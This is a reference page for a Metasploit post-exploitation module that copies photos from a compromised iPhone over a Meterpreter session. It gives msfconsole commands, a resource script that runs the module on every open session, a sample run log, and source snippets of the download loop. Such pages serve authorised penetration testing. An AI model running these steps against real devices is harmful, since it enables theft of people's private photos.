iOS Image Gatherer - Metasploit


This page contains detailed information about how to use the post/apple_ios/gather/ios_image_gather metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: iOS Image Gatherer
Module: post/apple_ios/gather/ios_image_gather
Source code: modules/post/apple_ios/gather/ios_image_gather.rb
Disclosure date: -
Last modification time: 2021-09-08 21:56:02 +0000
Supported architecture(s): -
Supported platform(s): Apple_iOS
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module collects images from iPhones. Module was tested on iOS 10.3.3 on an iPhone 5.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/apple_ios/gather/ios_image_gather

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/apple_ios/gather/ios_image_gather
msf post(ios_image_gather) > show options
    ... show and set options ...
msf post(ios_image_gather) > set SESSION session-id
msf post(ios_image_gather) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/apple_ios/gather/ios_image_gather")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

Knowledge Base


Description


This module downloads the discovered images on iPhones

Verification Steps


  1. Start msfconsole
  2. Get a session
  3. Do: use post/apple_ios/gather/ios_image_gather
  4. Do: set SESSION <session>
  5. Do: run
  6. You should get images from the iPhone target.

Scenarios


Tested on iOS 10.3.3 on an iPhone 5


  msf5 > use post/apple_ios/gather/ios_image_gather 
  msf5 post(apple_ios/gather/ios_image_gather) > set session 1
  session => 1
  msf5 post(apple_ios/gather/ios_image_gather) > run

  [!] SESSION may not be compatible with this module.
  [+] Image path found. Will begin searching for images...
  [*] Directory for iOS images: /Users/space/.msf4/loot/KlaBVw
  [*] Downloading image: IMG_0001.JPG
  [*] Downloading image: IMG_0002.JPG
  [*] Downloading image: IMG_0003.JPG
  [*] Downloading image: shell.php.jpg
  [*] Post module execution completed


Go back to menu.

Msfconsole Usage


Here is how the apple_ios/gather/ios_image_gather post exploitation module looks in the msfconsole:

msf6 > use post/apple_ios/gather/ios_image_gather

msf6 post(apple_ios/gather/ios_image_gather) > show info

       Name: iOS Image Gatherer
     Module: post/apple_ios/gather/ios_image_gather
   Platform: Apple_iOS
       Arch: 
       Rank: Normal

Provided by:
  Shelby Pace

Compatible session types:
  Meterpreter

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.

Description:
  This module collects images from iPhones. Module was tested on iOS 
  10.3.3 on an iPhone 5.

Module Options


This is a complete list of options available in the apple_ios/gather/ios_image_gather post exploitation module:

msf6 post(apple_ios/gather/ios_image_gather) > show options

Module options (post/apple_ios/gather/ios_image_gather):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Advanced Options


Here is a complete list of advanced options supported by the apple_ios/gather/ios_image_gather post exploitation module:

msf6 post(apple_ios/gather/ios_image_gather) > show advanced

Module advanced options (post/apple_ios/gather/ios_image_gather):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the apple_ios/gather/ios_image_gather module can do:

msf6 post(apple_ios/gather/ios_image_gather) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the apple_ios/gather/ios_image_gather post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(apple_ios/gather/ios_image_gather) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

<IMG> could not be downloaded


Here is a relevant code snippet related to the "<IMG> could not be downloaded" error message:

46:	    ios_imgs.each do |img|
47:	      begin
48:	        print_status("Downloading image: #{img}")
49:	        client.fs.file.download_file("#{local_path}/#{img}", "#{f_path}/#{img}", opts)
50:	      rescue
51:	        print_error("#{img} could not be downloaded")
52:	      end
53:	    end
54:	  end
55:	
56:	  def run

Could not find the default image file path


Here is a relevant code snippet related to the "Could not find the default image file path" error message:

54:	  end
55:	
56:	  def run
57:	    img_path = '/private/var/mobile/Media/DCIM/100APPLE'
58:	    unless directory?(img_path)
59:	      fail_with(Failure::NotFound, "Could not find the default image file path")
60:	    end
61:	    print_good('Image path found. Will begin searching for images...')
62:	
63:	    enum_img(img_path)
64:	  end

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


  • Shelby Pace

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.